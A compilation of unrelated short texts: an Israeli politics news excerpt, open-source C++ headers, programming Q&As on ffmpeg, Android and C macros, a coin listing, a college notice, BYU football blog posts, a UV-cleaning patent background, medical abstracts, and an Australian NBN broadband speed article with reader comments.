At the joint press conference announcing his union with Kadima and Mofaz, Netanyahu appeared to be peeved at much of the sniping he has recently faced by a growing list of former military and intelligence leaders expressing doubts about his Iran policy. He seemed especially put off by Yuval Diskin, the former head of Israel's internal security agency and an apolitical figure respected across the board, who last week took the criticism farther than most.
"My major problem is that I have no faith in the current leadership, which must lead us in an event on the scale of war with Iran or a regional war," he said. "I don't believe in either the prime minister or the defense minister. I don't believe in a leadership that makes decisions based on messianic feelings."
The implication that Netanyahu and Barak are not competent to make decisions on matters of national security, specifically regarding Iran, ricocheted loudly across the political universe and clearly remained on Netanyahu's mind today as he repeatedly stressed the "sanity" of his government and said: "I have even been referred to as messianic. Yes, messianic."
Advertisement: |
/*
Copyright 2011 Aevum Software aevum @ aevumlab.com
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@author Victor Vicente de Carvalho victor.carvalho@aevumlab.com
@author Ozires Bortolon de Faria ozires@aevumlab.com
*/
#ifndef GDX_CPP_GRAPHICS_GLUTILS_INDEXDATA_HPP_
#define GDX_CPP_GRAPHICS_GLUTILS_INDEXDATA_HPP_
#include <vector>
#include "gdx-cpp/utils/Disposable.hpp"
#include "gdx-cpp/utils/Buffer.hpp"
namespace gdx {
class IndexData: public Disposable {
public:
virtual int getNumIndices () = 0;
virtual int getNumMaxIndices () = 0;
virtual void setIndices (const std::vector<short>& indices, int offset,int count) = 0;
virtual short_buffer& getBuffer () = 0;
virtual void bind () = 0;
virtual void unbind () = 0;
virtual void invalidate () = 0;
virtual void dispose () = 0;
};
} // namespace gdx
#endif // GDX_CPP_GRAPHICS_GLUTILS_INDEXDATA_HPP_
|
Q:
Scale and overlay in single command
I want to convert and resize a video and put a logo on it. I am doing this with 2 different command line like this.
Command 1:
D:\Logo\ffmpeg -i "D:\Logo\video.mxf" -vf scale=1280:720 "D:\Logo\video.mxf_fullHDtoHD.mp4"
Command 2:
D:\Logo\ffmpeg -i "D:\Logo\video.mxf_fullHDtoHD.mp4" -i D:\Logo\logo_720p.png -filter_complex "[0:v][1:v] overlay=60:50" "D:\Logo\output_720p_with_logo.mp4"
Can I do this in just one command?
A:
Combined command:
ffmpeg -i "D:\Logo\video.mxf" -i D:\Logo\logo_720p.png -filter_complex "[0:v]scale=1280:720[bg];[bg][1:v]overlay=60:50" "D:\Logo\output_720p_with_logo.mp4"
|
2007-W American Silver Eagle Dollar Proof Ultra Cameo
2007-W American Silver Eagle Dollar Proof Ultra Cameo
60.00
This is 2007 W American Silver Eagle Proof Dollar graded PF69 Ultra Cameo by NGC. The coin is part of the early releases series. These are not stock photos, and the coin in the picture is the coin you are purchasing. (NGC holder has scratches.) |
Alumni Association
Alumni Association
The alumni association of MES college of Arts and Commerce will be organizing an inaugural function of the registered alumni association on 8th October 2016 at 3.30 pm in the M.S Kamat Seminar hall at MES college Zuarinagar followed by Annual general body meeting to discuss activities to be organized for the benefit of alumni ex students and also for the present students studying in first year, second year and third year B. A. /B. Com/BBA and BCA students. All the alumni of the college are requested to be present between 3.30pm to 5pm on 8th October 2016. The chief guest for the function is Vice chairman Shri Paresh Joshi, Advocate Dileshwar Naik is the president of the alumni association, Principal Dr. R. B Patil also will preside over the function. All the ex students are cordially invited for the same. Tnx sanchiliana Faria faculty mes college. |
Q:
Set Popup menu to full screen
Note : This is popup menu not popup window.So I request you all to read carefully.
I have implemented pop menu. It is displaying in half of the screen. I want to spread this to entire width of device. I tried to change its style by setting layout_width as match_parent but with no success.
Below is what I tried so far:
Style
<!-- Base application theme. -->
<style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
<!-- Customize your theme here. -->
<item name="popupMenuStyle">@style/PopupMenu</item>
</style>
<!-- Change Overflow Menu Background -->
<style name="PopupMenu" parent="android:Widget.Holo.Light.ListPopupWindow">
<item name="android:popupBackground">#888888</item>
<item name="android:layout_width">match_parent</item>
</style>
Below is my java code:
PopupMenu menu = new PopupMenu(getActivity(), tvnext);
for (int i = 0; i < array.size(); i++) {
menu.getMenu().add(1, i, 1, array.get(i).getAccountName());
}
menu.show();
menu.setOnMenuItemClickListener(new PopupMenu.OnMenuItemClickListener() {
@Override
public boolean onMenuItemClick(MenuItem item) {
setUpNextFunctionality(item.getItemId());
return false;
}
});
P.S : Please don't suggest me to use popup window. This is my last option if nothing work.
A:
I got your question. Instead of modify something use new widget which can easily fulfill your necessary and compatible with newer version.
Google introduce new Material concept as Bottom-Sheet
To use it in android you can use git hub libraries like this.
|
Search This Blog
POLL RESULTS: Who is the most likely to get drafted?
Thank you to everyone who voted in the poll. It was a tight race, but Dennis Pitta came out just ahead of Manase Tonga on the question "Who is the most likely to get drafted?" No other players received votes.
A new poll has been posted: "Who is the best BYU tight end of all-time?" Cast your vote today.
Comments
Hey Scott, best tight end is a great idea for the poll! BYU could very well be called the "Tight End Factory" rather than (or along with) the "Quarterback Factory". But how can you exclude Johnny Harline from the list? I probably wouldn't hav voted for him myself, but I think his name deserves mentioning in this list. So I'm curious to know how you justify excluding him.
Popular Posts
BYU football has been pretty hard to watch in 2017, particularly on offense. After game two, a 27-0 loss to LSU, Head Coach Kalani Sitake said, "I know I am coming down hard on the offense, but, man, let's be honest, that was the issue." The offensive production hasn't gotten much better since, and Sitake hasn't changed his rhetoric.
Who would blame him? BYU is averaging 9.8 points per game, 4.3 yards per play (3.2 yards per rush and 5.2 yards per pass), and 221.75 total yards per game. The Cougar offense has converted just 34 percent of third downs, has averaged 23:47 time of possession, and has a 93.7 pass efficiency rating.
That has some fans speculating that one or more coaches will be fired before the end of the season. That is madness. No one on the BYU coaching staff will be unemployed before the game at Hawaii on November 25.
Making a coaching change midseason is reserved for exceptional cases. Either something happens off the field, or the same problem …
Growing up a fan of BYU football was fun. The foundation had already been laid with the 1984 National Championship, the long list of All-American quarterbacks, and the reputation of being an unstoppable offensive powerhouse. I witnessed Ty Detmer win the Heisman Trophy, Steve Young win Super Bowl MVP honors, and the legendary LaVell Edwards build a team that won the Cotton Bowl and could compete with any team in the country.
It wasn't long ago that Max Hall delivered on his passionate halftime guarantee, "We're going to win," and beat the number 3 ranked Oklahoma Sooners. The Cougars did it without running back Harvey Unga, who would set the school's career rushing record later that year.
At that time BYU was on the bubble of busting the BCS every year, and with the legacy that Cougar football has, fans were justified in believing their beloved Cougars were still among the top tier in college football.
The 2017 football season is three games old for BYU. The Cougars have already been shutout once, they have not passed for more than 200 yards in a game, and have no real established playmakers. That is a formula for furious fans in Cougar Nation.
Some fans are calling for a coaching change. Others are preaching patience. A third group wants the offensive coaches to run a different scheme.
It is no secret that offensive coordinator Ty Detmer is not trying to run the same scheme he used as a player at BYU to rewrite the NCAA record book. The offense he wants to run resembles what he learned during his 14 seasons in the NFL.
Lackluster results this year has this approach under scrutiny. After all, Tanner Mangum does not look like the same quarterback who passed for 3,377 yards, 23 touchdowns, and had a 136 pass efficiency rating in Robert Anae's offense as a freshman.
In management, whether football or Fortune 500, a train of thought has developed that to show you are a good manager… |
1. Field of the Invention
In one of its aspects, the present invention relates to a cleaning formulation for, inter alia, optical surfaces. In another of its aspects, the present invention relates to method for removing fouling materials, inter alia, from an optical surface.
2. Description of the Prior Art
Fluid treatment systems are known generally in the art.
For example, U.S. Pat. Nos. 4,482,809, 4,872,980 and 5,006,244 (all in the name of Maarschalkerweerd and all assigned to the assignee of the present invention and hereinafter referred to as the Maarschalkerweerd #1 patents) all describe gravity fed fluid treatment systems which employ ultraviolet (UV) radiation.
Such systems include an array of UV lamp frames which include several UV lamps each of which are mounted within sleeves which extend between and are supported by a pair of legs which are attached to a cross-piece. The so-supported sleeves (containing the UV lamps) are immersed into a fluid to be treated, which is then irradiated as required. The amount of radiation to which the fluid is exposed is determined by factors such as: the proximity of the fluid to the lamps, the output wattage of the lamps, the fluid's flow rate past the lamps, the UV transmission (UVT) of the water or wastewater, the percent transmittance (% T) of the sleeves and the like. Typically, one or more UV sensors may be employed to monitor the UV output of the lamps and the fluid level is typically controlled, to some extent, downstream of the treatment device by means of level gates or the like.
However, disadvantages exist with the above-described systems. Depending upon the quality of the fluid which is being treated, the sleeves surrounding the UV lamps periodically become fouled with foreign materials, inhibiting their ability to transmit UV radiation to the fluid. For a given installation, the occurrence of such fouling may be determined from historical operating data or by measurements from the UV sensors. Once, or before fouling occurs, the sleeves must be cleaned to remove the fouling materials and optimize system performance.
If the UV lamp modules are employed in an open, channel-like system (e.g., such as the one described and illustrated in Maarschalkerweerd #1 patents), one or more of the modules may be removed while the system continues to operate, and the removed frames may be immersed in a bath of suitable cleaning solution (e.g., a mild acid) which may be air-agitated to remove fouling materials. Of course, this necessitates the provision of surplus or redundant sources of UV radiation (usually by including extra UV lamp modules) to ensure adequate irradiation of the fluid being treated while one or more of the frames has been removed for cleaning. This required surplus UV capacity adds to the capital expense of installing the treatment system. Further, a cleaning vessel for receiving the UV lamp modules must also be provided and maintained. Depending on the number of modules which must be serviced for cleaning at one time and the frequency at which they require cleaning, this can also significantly add to the expense of operating and maintaining the treatment system. Furthermore, this cleaning regimen necessitates relatively high labour costs to attend to the required removal/re-installation of modules and removal/re-filling of cleaning solution in the cleaning vessel. Still further, such handling of the modules results in an increased risk of damage to or breakage of the lamps in the module.
If the frames are in a closed system (e.g., such as the treatment chamber described in U.S. Pat. No. 5,504,335 (in the name of Maarschalkerweerd and assigned to the assignee of the present invention) removal of the frames from the fluid for cleaning is usually impractical. In this case, the sleeves must be cleaned by suspending treatment of the fluid, shutting inlet and outlet valves to the treatment enclosure and filling the entire treatment enclosure with the cleaning solution and air-agitating the fluid to remove the fouling materials. Cleaning such closed systems suffers from the disadvantages that the treatment system must be stopped while cleaning proceeds and that a large quantity of cleaning solution must be employed to fill the treatment enclosure. An additional problem exists in that handling large quantities of cleaning fluid is hazardous and disposing of large quantities of used cleaning fluid is difficult and/or expensive. Of course open flow systems suffer from these two problems, albeit to a lesser degree.
Indeed, once installed, one of the largest maintenance costs associated with prior art fluid treatment systems is often the cost of cleaning the sleeves about the radiation sources. U.S. Pat. Nos. 5,418,370, 5,539,210 and 5,590,390 (all in the name of Maarschalkerweerd and all assigned to the assignee of the present invention and hereinafter referred to as the Maarschalkerweerd #2 patents) all describe an improved cleaning system, particularly advantageous for use in gravity fed fluid treatment systems which employ UV radiation. Generally, the cleaning system comprises a cleaning sleeve engaging a portion of the exterior of a radiation source assembly including a radiation source (e.g., a UV lamp). The cleaning sleeve is movable between: (i) a retracted position wherein a first portion of radiation source assembly is exposed to a flow of fluid to be treated, and (ii) an extended position wherein the first portion of the radiation source assembly is completely or partially covered by the cleaning sleeve. The cleaning sleeve includes a chamber in contact with the first portion of the radiation source assembly. The chamber is supplied with a cleaning solution suitable for removing undesired materials from the first portion of the radiation source assembly.
In International publication number WO 00/26144 [Pearcey et al. (Pearcey)], published May 11, 2000, there is disclosed a cleaning apparatus for a radiation source module and a radiation source module incorporated such cleaning apparatus. Generally, the cleaning apparatus and related module comprise: (i) a slidable member magnetically coupled to a cleaning sleeve, the slidable member being disposed on and slidable with respect to a rodless cylinder; and (ii) motive means to translate the slidable member along the rodless cylinder whereby the cleaning sleeve is translated over the exterior of the radiation source assembly.
Further improvements to cleaning devices are described in: copending U.S. patent application Ser. No. 09/258,142 [Traubenberg et al. (Traubenberg)], filed on Feb. 26, 1999;
copending U.S. patent application Ser. No. 60/136,766 [Dall'Armi et al. (Dall'Armi)], filed on May 28, 1999; and copending U.S. patent application Ser. No. 60/148,648 [Fang et al. (Fang)], filed on Aug. 13, 1999;each assigned to the assignee of the present invention.
The teachings of Pearcey, Traubenberg, Dall'Armi and Fang each represent important advances in the art, particularly when implemented in a fluid treatment module such as the one illustrated in the Maarschalkerweerd #1 patents.
One area in the prior art which has received relatively little attention is the nature of the cleaning formulation used in such cleaning devices for optical radiation devices such as the ones taught in the Maarschalkerweerd #2 patents and in Pearcey, Traubenberg, Dall'Armi and Fang.
It is known that the disinfection efficiency of a UV lamp is dependent on the cleanliness of the surface which houses the UV lamp—see Kreft, P.; Scheible, O. K.; Venosa, A. “HYDRAULIC STUDIES AND CLEANING EVALUATIONS OF ULTRAVIOLET DISINFECTION UNITS”, Journal WPCF, Volume 58, Number 12, p. 1129 [Kreft]. Cleaning of a ultraviolet disinfection system is important in order for the system to operate at optimum efficiency. Surface fouling can significantly affect the dose efficiency needed for meeting the disinfection requirements. Fused quartz sleeves, which are conventionally used to house the radiation lamps, are rated at an ultraviolet transmittance (UVT) of 80 to 90% when brand new. Maintaining the % UVT at or very close to 80% is highly desirable to sustain the ability to meet disinfection requirements.
Fouling on an ultraviolet radiation surface (e.g., the quartz sleeve surrounding the lamp) is complex and can vary from site to site. The three main contributors to fouling include inorganic deposits, organic fouling and biofilms (which can grow when the surfaces are fouled and not fully irradiated)—see Kreft.
The major fouling components of inorganic scale deposits typically comprise one or more of magnesium hydroxide, iron hydroxide, calcium hydroxides, magnesium carbonate, calcium carbonate, magnesium phosphate and calcium phosphate. These are salts with inverse solubility characteristics—i.e., the solubility of salt decreases with increasing temperature. It has been indicated that quartz sleeves used in ultraviolet radiation systems such as the ones described above will have a higher temperature at the quartz/water interface than that of the bulk solution—see Kreft. This has led to the suggestion that fouling of such quartz sleeves may arise from the inverse solubility characteristics of the inorganic salts. Other factors such as surface photochemical effects may also lead to fouling.
A conventional method for cleaning inorganic fouled surfaces uses acidic materials. It should be noted that basic chemicals such as ammonium hydroxide or sodium hydroxide are usually avoided due to their chemical interaction with quartz and their limited cleaning efficacy of inorganic debris.
The magnitude of the cleaning ability of acids on inorganic media (inorganic fouling generally consists of metal oxides and carbonates on the quartz or other surface) is related primarily to pH. At low pH, metal cations aquate more easily and, in the important case of fouling by carbonate anions, decomposition via CO2 formation occurs. Acids further have the ability to disrupt ion bridging effects that give rise to fouling films like soap scum and also to solubilize precipitated fatty acid soaps. Most cleaning formulations use very strong acids to remove inorganic water spots, stains and encrustations on surfaces. The cleaning of inorganic substrates is most effectively accomplished by acid treatment when coupled with surfactants that can remove adsorbed organic/inorganic complexes (McCoy, J. W. “Industrial Chemical Cleaning” Chapter 2, pp. 34. Chemical Publishing Co. New York, N.Y.).
Acids have the ability to disrupt the ion bridging effects which give rise to fouling films like soap scum and also to solubilize precipitated fatty acid soaps. Most cleaning formulations to date use strong acids to remove inorganic water spots, stains and encrustations on surfaces. Cleaning of inorganic fouling materials has been accomplished by acid treatment which, when coupled with surfactants, can remove adsorbed organic/inorganic complexes.
Wastewater treated by conventional ultraviolet radiation systems may also contain a wide variety of living organisms and organic-based molecules which range from those which are surface active to oils and greases. Surface active molecules, such as humic acids, which are negatively charged can bind polyvalent ions (calcium, iron, magnesium) contained in the water. Additionally, because the surface active molecules contain hydrophobic moieties the adhesion of ultraviolet radiation adsorbing species such as proteins or aromatics can also cause the transmission of the ultraviolet from the lamps to be reduced.
A number of chemicals have been suggested and used for cleaning scale deposits from surfaces with or without organic fouling materials. Inorganic acids such as hydrochloric acid, nitric acid, sulfuric acid, phosphoric acid and sulfamic acid are commonly used in the chemical cleaning of inorganic scale deposits—see Kreft. However all of these acids are corrosive and difficult to handle. Thus, an occupational health concern arises in using such acids. Also, there is an increased likelihood of wear and tear on equipment as a consequence of using such acids. Hydrochloric acid and sulfuric acid typically are not recommended in applications where exposure to stainless steel can occur due to their corrosive action. Nitric acid has oxidation capabilities and can only be used in a concentration of up to about 10% due to its potential reactivity. Phosphoric acid is a relatively safe and efficient cleaning acid, and has been used in a wide variety of industries. However, the use of phosphoric acid may contribute to the formation of insoluble phosphates with iron, calcium or magnesium. Additionally phosphate is a limiting nutrient for microbial and algae growth hence disposal of the cleaning solution and leakage into the treated water needs careful monitoring.
A novel cleaning formulation copending U.S. patent application Ser. No. 60/207,187 [Ketelson et al. (Ketelson)], filed on May 26, 2000. The cleaning formulation taught by Ketelson represents a significant improvement in the art. Specifically, the formulation taught by Ketelson has one or more of the following attributes: (i) it can remove foreign deposits of organic, biological and inorganic origin from optical and/or metal surfaces; (ii) it does not chemically interact substantially with the optical surface or leave residual adsorbed species which will substantially reduce the % UVT; (iii) it is relatively safe to handle and is relatively non-corrosive to human skin; (iv) it meets the current standards for governing environmentally acceptable usefulness in the wastewater and potable water industries; (v) it maintains its cleaning activity over time (e.g., months) while being exposed to ultraviolet radiation; (vi) it possesses anti-microbial properties; (vii) it is substantially compatible with one or more other ingredients known in the art of cleaning formulations, including surfactants, wetting agents, thickeners, sequestrants and chelating agents; (viii) it is substantially compatible for use in a wiper compartment and neither substantially degrades the seal material nor substantially retards wiper movement across a surface; (ix) it is substantially useful in combination with thickeners that exhibit shear thinning properties in order to maintain control over its flow properties; (x) it meets FDA guidelines for excipients or additives in food or drugs; and (xi) it is not substantially corrosive toward stainless steel.
Despite the advance in the art provided by Ketelson, there is room for improvement. Specifically, when liquid cleaning formulations, such as the one taught by Ketelson, are used in cleaning systems such as the one taught in the Maarschalkerweerd #2 patents, there is a likelihood that the liquid cleaning formulation will leak out of the cleaning chamber over time. This is disadvantageous when the fluid treatment system in question is used in a clean (i.e., drinking) water application. Further, this is disadvantageous in that increased costs of cleaning formulations are incurred.
In light of this, it would be desirable to have an improved cleaning formulation which combined the benefits of the cleaning formulation taught by Ketelson while obviating or mitigating the leakage and/or cost problems referred to in the previous paragraph. |
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef IOS_WEB_WEBUI_WEB_UI_IOS_IMPL_H_
#define IOS_WEB_WEBUI_WEB_UI_IOS_IMPL_H_
#include <map>
#include <memory>
#include <vector>
#include "base/compiler_specific.h"
#include "base/macros.h"
#include "base/memory/weak_ptr.h"
#include "ios/web/public/webui/web_ui_ios.h"
namespace web {
class WebStateImpl;
}
namespace web {
class WebUIIOSImpl : public web::WebUIIOS,
public base::SupportsWeakPtr<WebUIIOSImpl> {
public:
explicit WebUIIOSImpl(WebStateImpl* web_state);
~WebUIIOSImpl() override;
// WebUIIOS implementation:
WebState* GetWebState() const override;
WebUIIOSController* GetController() const override;
void SetController(std::unique_ptr<WebUIIOSController> controller) override;
void AddMessageHandler(
std::unique_ptr<WebUIIOSMessageHandler> handler) override;
typedef base::Callback<void(const base::ListValue*)> MessageCallback;
void RegisterMessageCallback(const std::string& message,
const MessageCallback& callback) override;
void ProcessWebUIIOSMessage(const GURL& source_url,
const std::string& message,
const base::ListValue& args) override;
void CallJavascriptFunction(const std::string& function_name) override;
void CallJavascriptFunction(const std::string& function_name,
const base::Value& arg) override;
void CallJavascriptFunction(const std::string& function_name,
const base::Value& arg1,
const base::Value& arg2) override;
void CallJavascriptFunction(const std::string& function_name,
const base::Value& arg1,
const base::Value& arg2,
const base::Value& arg3) override;
void CallJavascriptFunction(const std::string& function_name,
const base::Value& arg1,
const base::Value& arg2,
const base::Value& arg3,
const base::Value& arg4) override;
void CallJavascriptFunction(
const std::string& function_name,
const std::vector<const base::Value*>& args) override;
private:
// Executes JavaScript asynchronously on the page.
void ExecuteJavascript(const base::string16& javascript);
// A map of message name -> message handling callback.
typedef std::map<std::string, MessageCallback> MessageCallbackMap;
MessageCallbackMap message_callbacks_;
// The WebUIIOSMessageHandlers we own.
std::vector<std::unique_ptr<WebUIIOSMessageHandler>> handlers_;
// Non-owning pointer to the WebStateImpl this WebUIIOS is associated with.
WebStateImpl* web_state_;
std::unique_ptr<WebUIIOSController> controller_;
DISALLOW_COPY_AND_ASSIGN(WebUIIOSImpl);
};
} // namespace web
#endif // IOS_WEB_WEBUI_WEB_UI_IOS_IMPL_H_
|
Q:
Macro VA_ARGS to VS2010 VC
In GNU-GCC with Linux this is working
#define sprintfc(string, ...) sprintf(string+strlen(string), ##__VA_ARGS__)
Is there definition with same effect for Visual Studio 2010?
A:
Microsoft Visual C compiler does support variadic macros. However, the problem is the GCC extension ##, which removes the leading comma if no arguments are passed.
Because sprintf() is never called without a second argument, your code should work fine if you just remove the ##.
|
[Advisory statement of the Health Council of the Netherlands on vaccination against meningococcal disease: a missed opportunity?]
The recent outbreak of serogroup W meningococcal disease in the Netherlands, and the start of the vaccination campaign for adolescents in response, dominated the national headlines in 2018. During this time, the Health Council of the Netherlands prepared an advisory statement, which was released in December 2018, on how meningococcal disease caused by various serogroups could be controlled in the future. The Counsel recommends to include vaccination against serogroups A, C, W and Y for infants and adolescents in the Dutch National Immunization Programme. By contrast, vaccination against serogroup B was not recommended. This article is a commentary on the recommendations in the advisory statement and discusses the epidemiology of meningococcal serogroup B infections in the Netherlands, the effectiveness of the vaccine against this serogroup as well as common side effects, and as such demonstrates the difficult balance between pros and cons and the need for broadly based discussion in the public sphere about the scope of the Dutch National Immunization Programme. |
A lot of clot.
A 37-year-old man presented with fever and a red, painful right eye. He had proptosis, conjunctival chemosis, and ophthalmoplegia OD. The patient had extremely poor dentition and had self decompressed a dental abscess prior to admission. Magnetic resonance imaging of the brain and orbital revealed extraocular muscle engorgement and a dilated superior ophthalmic vein OD. Orbital echography revealed a lack of flow in the right superior ophthalmic vein. An extensive hematologic evaluation for infection and inflammation was negative. A chest radiograph showed a lung abscess for which he received intravenous antibiotics. Over time, the periorbital erythema, ophthalmoplegia, proptosis, and pain resolved. Repeat MRI showed resolution of the orbital findings and repeat chest x-ray showed resolution of the left upper lobe abscess. |
95Mbps may be the NBN’s real-world limit
Note: This article has been updated with comments from NBN Co since it was first published.
news Early trials of National Broadband Network fibre connections through several different Internet service providers have shown speeds topping out at 95Mbps, five percent slower than the NBN’s overall theoretical limit of 100Mbps.
In a post on his blog yesterday, Exetel chief executive John Linton, whose company was one of the first to go through NBN Co’s on-boarding process and be ready to provide services over the network, revealed that the first dozen or so of Exetel customers had now had their NBN services connected and were able to use their connections.
“A surprisingly large percentage of the trial orders are for 100Mbps/40Mbps services, and of those we have contacted/have contacted us, the service is delivering around 95Mbps down and 32Mbps up, with a 10ms ping time,” he said. “As the NBN Co network would currently be as under-utilised as it’s ever going to be those results seem likely to be the maximum achievable in the near term.”
The news almost precisely mimics the results achieved by PCRange chief executive Raaj Menon, who moved suburbs in Adelaide in order to make sure he could get the NBN early.
In late June, after his NBN fibre service was connected, Menon noted in a statement issued by his service provider, Internode, that he was achieving speeds of 95.5Mbps downstream and 35.5Mbps upstream, with ping times of about 3ms. In a separate blog post, Menon added that he ran a variety of speed tests, average around 94 to 95Mbps down and 35Mbps up. “It is close enough to the advertised speeds,” he noted.
A NBN spokesperson responded to the issue by noting that the company was building a network designed to achieve downlink speeds of up to 100Mbps at the wholesale Layer 2 (Ethernet) level.
“Most speed tests operate at the Layer 3 (Internet Protocol) level and the extra packet overhead will typically result in lower measurement speeds (depending on the type of traffic),” they said. “We point out that the speeds actually experienced by end-users will depend on a number of factors including, in part, protocol factors, the retail broadband plan they choose, their ISP’s network capacity, the number of simultaneous users on the service, the server’s equipment and configuration, their equipment and their in-premises connection.”
In a recent blog post, Internode chief executive Simon Hackett noted that the ISP’s experiences in Tasmania showed that each point of interconnect region located around Australia would need at least 200Mbps of capacity supplied to it (which NBN Co refers to as the ‘Connectivity Virtual Circuit’) in order to ensure most customers would be able to access the maximum speeds under their NBN connections when they wanted to use them.
In short, that capacity is shared between customers connecting to a certain point of interconnect.
Other typical technical limitations on network links include factors such as the speed of serving data from storage, or other, non-NBN links in between the data being downloaded and a customers’ own PC. Inefficiencies in a customers’ own router can come into play.
opinion/analysis
While this sort of theoretical limit on NBN speeds isn’t really unexpected (I mean look at ADSL — ‘theoretically’ it allows up to 24Mbps, but few actually get those speeds), it is interesting to see such similar results across ISPs. Is there some kind of 95Mbps bottleneck in the NBN infrastructure which is impossible to push past? It seems there could be many factors to consider. In the meantime, of course, I personally — and I suspect almost everyone else — would be quite happy to get “only” 95Mbps speeds … at least until the gigabit upgrade eventually comes along ;)
And yes of course it’s overhead. Have you tried sending a letter through the post without the envelope with the address on it? The post office won’t have a clue where to send your letter to. The envelope itself is an overhead.
There’s a difference between theory and real world. Some of it hinges on data throughput vs bandwidth. With NBNCo running a layer 2 network, there would be some management traffic running throughout, but whether that’s enough to limit connections by 5 Mbit is only something that NBNCo and a whole raft of sniffing would be able to confirm. I wouldn’t expect NBNCo to build a complete out of band seperate network for all their network management traffic without adding significantly to the hardware costs, so it’s most likely (as only NBNCo can confirm or deny this) that they are running their management traffic on the same hardware, but in a seperate VLAN.
However, the good news, is that said management traffic wouldn’t increase significantly even if the amount of customers increase (although happy to be corrected by those more knowledgable in MPLS than little old me).
But this doesn’t make any sense. Look at Verizon’s FIOS network in the US. Verizon overprovisions so that customers almost always get 110-115% of advertised speeds. It’s really not that hard to do on a fiber network. Given that the CVC charge is completely arbitrary to begin with, NBNCo should alter the charges and/or rebate so that overprovisioning is encouraged. Make sure everyone is super satisfied and the network will become even more popular.
That doesn’t automatically mean that NBNCo will though. Hopefully they’ll offer an explanation.
It’s not difficult to do, but given the nature of the NBN, that is, a build to 93% of the population of Australia initially, perhaps they’ve tried to scrape as close to the line as possible to keep costs down (something that Quigley has always stated that he was aware of, and endeavouring to meet).
Hanging for NBNCo’s answer, if it’s forthcoming, and as I said below, it may not even be the NBN that’s the issue.
The real cost is in the labor, not the bandwidth. And for the record I don’t think it’s an “issue”. 95% is still really good. It’s just a nitpick and I think a really great PR move for NBNCo would be to alter the CVC charges and rebates to encourage ISP overprovisioning to make sure everyone is extremely happy with their connections.
Of course Verizon don’t sell their FTTH product to other ISP’s either, it is their own infrastructure in limited areas sold as a package with their phone, internet and Pay TV packages.
As a vertically integrated monopoly they have complete control over all aspects of the links at all physical layers and the servers, to compare it with the wholesale only NBN in Australia is ludicrous.
Once the lines are in the ground the cost of bandwidth is negligible. It doesn’t cost more to send pulses of light or electricity to a rural area than it does an urban area. The question is whether NBNCo wants to encourage overprovisioning by the ISPs, which it can do by altering the CVC pricing structure. It’s not a big deal, but I would think it’d be great PR.
You’ve touched on some questions that still need to be asked. How do we know the NBN is the problem here? If it’s a simple FTP download, it could be the ISP’s infrastructure that’s the bottleneck, not the NBN.
Anything above layer 2 is suspect, as that is all that the NBN is. It’s impossible for an end point user to determine whether the NBN is a bottleneck, as you’d have to sniff at both ends of the NBN infrastructure (i.e. customer end node, and NBN exit point to ISP infrastructure) to determine whether it is actually their network that’s the issue.
You’ve touched on some questions that still need to be asked. How do we know the NBN is the problem here? If it’s a simple FTP download, it could be the ISP’s infrastructure that’s the bottleneck, not the NBN.
Anything above layer 2 is suspect, as that is all that the NBN is. It’s impossible for an end point user to determine whether the NBN is a bottleneck, as you’d have to sniff at both ends of the NBN infrastructure (i.e. customer end node, and NBN exit point to ISP infrastructure) to determine whether it is actually their network that’s the issue.
The problem with any network speed is “where do I measure it”? Speedtest sites measure it based upon delivered payload. There is packet headers and synchronization signals to consider.
NBN could be measuring the raw amount of information on the network, or, slightly better, payload of the tagged packets. Ever way there will be a small, but consistent, overhead. And unfortunately the more bandwidth you push, the more obvious this overhead becomes.
NBNCo could do an overhead adjustment where they offer 105% or 110% of advertised speeds, but if I were them I wouldn’t bother.
They should overprovision though. The feeling of satisfaction gained from seeing your connection faster than you thought it would be is unmatched. Not to mention the massive PR boost with people going around saying “I’m getting *more* than I paid for. Wow.”
A speed test produces a result by downloading “data” and dividing it by the time taken. This gives an *average* download speed for the entire chunk of data.
One very, very important factor is that this data is only delivered inside an ethernet frame, which contains a IP packet, which contains a transport segment, which contains “data”, which itself may be further encapsulated. (OSI network model).
Technically the result is called “goodput” – thats the average data delivery rate, less the various overheads, such as the IP packet headers.
NBN deliver 100Mbps ethernet – thats a 100Mbps Layer 2 service. Customers have no way of testing that. They can perhaps test Layer 3 throughput if they can control both ends (which they dont) if they have sufficiently complex testing tools – which, again, they typically dont. So the best thing they can usually do is rely on speedtest.net which relies on a test produced inside a web browser. FTP is a better choice.
There is also TCP slowstart, where a TCP session – used in speed tests – ramps up its throughput until it reaches congestion, then it backs off and tries again, eventually leveling out at the point *just below* the congestion point.
(The congestion point is where either latency increases across the link or pack drops start to occur).
I’ve left your comment up as I think you raise some very interesting technical points. However, I will note that it is our policy on Delimiter to be polite and that describing an article as “appalling” in the first case is not very polite.
Personally, I am pretty thick-skinned; you’d have to be to write articles as controversial as I do, about topics which are as contentious.
However, I am determined to maintain a level of ‘politeness’ on Delimiter to ensure readers are not scared away. At times I have received a lot of feedback from people that they feel scared to comment on Delimiter for fear of having their head bitten off.
I want to ensure Delimiter does not descend to the level of other sites and become a cesspit of bile. This is not 4chan ;)
I think Brad’s point was that the author’s lack of knowledge led to the article painting the NBN as vaguely deficient, when really this is an excellent result, almost the best it could be. “NBN Far More Efficient Than ADSL” might be a more appropriate headline.
I thought Brad pointed out the article’s weaknesses quite well. “Appalling” might be considered a strong word (though hardly 4chan level), but I suspect he is a little tired of the misconceptions that un-researched journalism leads to, especially in controversial topics.
“The Line Rate sets the maximum bound on the information-carrying capacity of the link. Customers are advised that they should be familiar with the inherent limitations of Ethernet in relation to the impact of framing overhead and asynchronous operation on bandwidth efficiency, and accommodate this within any NFAS capacity allocation.”
This is totally normal when normal framing overheads at multiple levels are factored in.
The services concerned are working fine.
When you buy a ‘1000GB’ hard drive and format it, you don’t see ‘1000GB’, you see a lower number, that factors in normal formatting overheads. No emergency, nothing wrong.
On ADSL services, the overheads there mean that throughput in terms of payload (after ATM cell overheads, TCP and IP overheads, and PPP framing overheads) comes out around 83-86% of the ‘theoretical’ number. This is something we observed ten years ago and it remains the case today (e.g. a ‘1500’ ADSL connection delivers around 1300 kilobits of payload rate after those overheads).
